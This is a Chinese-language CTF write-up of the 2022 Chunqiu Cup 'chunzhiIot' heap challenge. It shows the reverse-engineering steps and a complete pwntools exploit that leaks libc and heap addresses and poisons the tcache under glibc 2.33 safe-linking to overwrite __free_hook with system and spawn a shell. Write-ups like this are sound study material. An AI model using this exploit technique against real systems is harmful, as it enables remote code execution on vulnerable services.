题目
2022年春秋杯:chunzhiIot
一道vmpwn题,和今年(2022年)的国赛一道题类似
保护
$ checksec pwn
'/home/hnhuangjingyu/chunqiubei/chunzhiIot/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ ./libc.so
GNU C Library (Ubuntu GLIBC 2.33-0ubuntu5) release release version 2.33.
现在好像基本都是保护全开,然后glibc2.31以上的题目了
分析
打开IDA发现识别不了函数,且函数的参数也很奇怪
经过几番捣鼓函数点进去识别后信息越来越少
查阅资料了解endbr64
这个指令得到如下解释:
endbr64 (and endbr32) are a part of Intel's Control-Flow Enforcement Technology (CET) (see also Intel Software Developer Manual, Volume 1, Chapter 18).
Intel CET offers hardware protection against Return-oriented Programming (ROP) and Jump/Call-oriented Programming (JOP/COP) attacks, which manipulate control flow in order to re-use existing code for malicious purposes.
endbr64
(和endbr32
) 是[英特尔控制流强制技术(CET)]的一部分。英特尔CET针对面向返回的编程(ROP)和面向跳转/调用的编程(JOP/COP)攻击提供硬件保护,这些攻击会操纵控制流,以便出于恶意目的重新使用现有代码
那么就需要手动的帮助IDA进行识别符号表,这里配合GDB动态调试即可看到函数符号,比如上面sub_1170()
函数通过GDB调试发现就是puts
函数,那么就将它重新命名(_puts)即可识别出,
再次F5刷新即可识别出
ok,回归主题,我手动还原的伪函数如下
main
kernel
set_requst_mod
put_requst
可以看到经典堆题菜单就出来了
add
edit
show
dele
思路
程序的实现了一个类似于http请求的功能,具体可以看我上面逆向出来的代码,逆向出来后发现堆题很简单,ok
按照程序的格式要求得到如下exp:
def init():
sa("Package...\n","DEV / HTTP/1.0 \r\nrotartsinimda")
def add(id,size,content):
if(isinstance(content,bytes)):
sa("Package...\n",bytes("POST / HTTP/1.0 \r\n\x01&"+str(id)+"&"+str(size)+"&",'utf8')+content)
else:
sa("Package...\n","POST / HTTP/1.0 \r\n\x01&"+str(id)+"&"+str(size)+"&"+content)
#1.请求类型 2.id 3.size 4.buf
def edit(id,content):
sa("Package...\n",bytes("POST / HTTP/1.0 \r\n\x02&"+str(id)+"&",'utf8')+content)
def show(id):
sa("Package...\n","POST / HTTP/1.0 \r\n\x03&"+str(id))
def dele(id):
sa("Package...\n","POST / HTTP/1.0 \r\n\x04&"+str(id))
这里的小细节就是字符和字节的使用,具体看代码
因为题目是glibc2.33会有一个异或加\解密fd指针,利用手法和之前一样,不过在修改fd的时候需要手动的异或加密指针再写进去,因为计算异或加密值需要用到堆地址,所以先泄漏libc、heap
################################### Statr ############################################
init()
#-----------------------------leak libc、heap-----------------------------
add(0,0x410,'0')
add(1,0x10,'1')
dele(0) #因为带有\x00所以打印不了
dele(1)
add(2,0x420,'2') #向main_arena中加入chunk
show(0) #现在就可以打印了
ru('6\n')
libc.address = info(rc(6),"libc") - (0x7ffff7fb5ff0 - 0x7ffff7dd5000)
show(1)
ru('5\n')
heap = info(rc(5),"heap") << 4*3 #- (0x7ffff7fb5ff0 - 0x7ffff7dd5000)
然后就是手动加密fd值了
#-----------------------------tcache attack-----------------------------
add(3,0x10,'3')
add(4,0x10,'4')
dele(3)
dele(4)
#将free__hook异或加密 ,这里需要堆地址
edit(4,p64(libc.sym['__free_hook'] ^ (heap+0x2a0 >> 12)))
add(5,0x10,'/bin/sh\x00')
#add(6,0x10,p64(libc.address + one[0]))
add(6,0x10,p64(libc.sym['system']))
dele(5)
################################### End ##############################################
p.interactive()
完整exp
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
from pwn import *
#context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./pwn"
one = [0x45216,0x4526a,0xf02a4,0xf1147]
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("111.200.241.244","58782")
e = ELF(binary)
libc = e.libc
################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def logs(addr,string='logs'):
if(isinstance(addr,int)):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
else:
print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))
def pa(s='1'):
log.success('pause : step---> '+str(s))
pause()
def info(data,key='info',bit=64):
if(bit == 64):
leak = u64(data.ljust(8, b'\0'))
else:
leak = u32(data.ljust(4, b'\0'))
logs(leak,key)
return leak
################################ Function ############################################
def init():
sa("Package...\n","DEV / HTTP/1.0 \r\nrotartsinimda")
def add(id,size,content):
if(isinstance(content,bytes)):
sa("Package...\n",bytes("POST / HTTP/1.0 \r\n\x01&"+str(id)+"&"+str(size)+"&",'utf8')+c
ontent)
else:
sa("Package...\n","POST / HTTP/1.0 \r\n\x01&"+str(id)+"&"+str(size)+"&"+content)
#1.请求类型 2.id 3.size 4.buf
def edit(id,content):
sa("Package...\n",bytes("POST / HTTP/1.0 \r\n\x02&"+str(id)+"&",'utf8')+content)
def show(id):
sa("Package...\n","POST / HTTP/1.0 \r\n\x03&"+str(id))
def dele(id):
sa("Package...\n","POST / HTTP/1.0 \r\n\x04&"+str(id))
################################### Statr ############################################
init()
#-----------------------------leak libc、heap-----------------------------
add(0,0x410,'0')
add(1,0x10,'1')
dele(0) #因为带有\x00所以打印不了
dele(1)
add(2,0x420,'2') #向main_arena中加入chunk
show(0) #现在就可以打印了
ru('6\n')
libc.address = info(rc(6),"libc") - (0x7ffff7fb5ff0 - 0x7ffff7dd5000)
show(1)
ru('5\n')
heap = info(rc(5),"heap") << 4*3 #- (0x7ffff7fb5ff0 - 0x7ffff7dd5000)
#-----------------------------tcache attack-----------------------------
add(3,0x10,'3')
add(4,0x10,'4')
dele(3)
dele(4)
#将free__hook异或加密 ,这里需要堆地址
edit(4,p64(libc.sym['__free_hook'] ^ (heap+0x2a0 >> 12)))
add(5,0x10,'/bin/sh\x00')
#add(6,0x10,p64(libc.address + one[0]))
add(6,0x10,p64(libc.sym['system']))
dele(5)
################################### End ##############################################
p.interactive()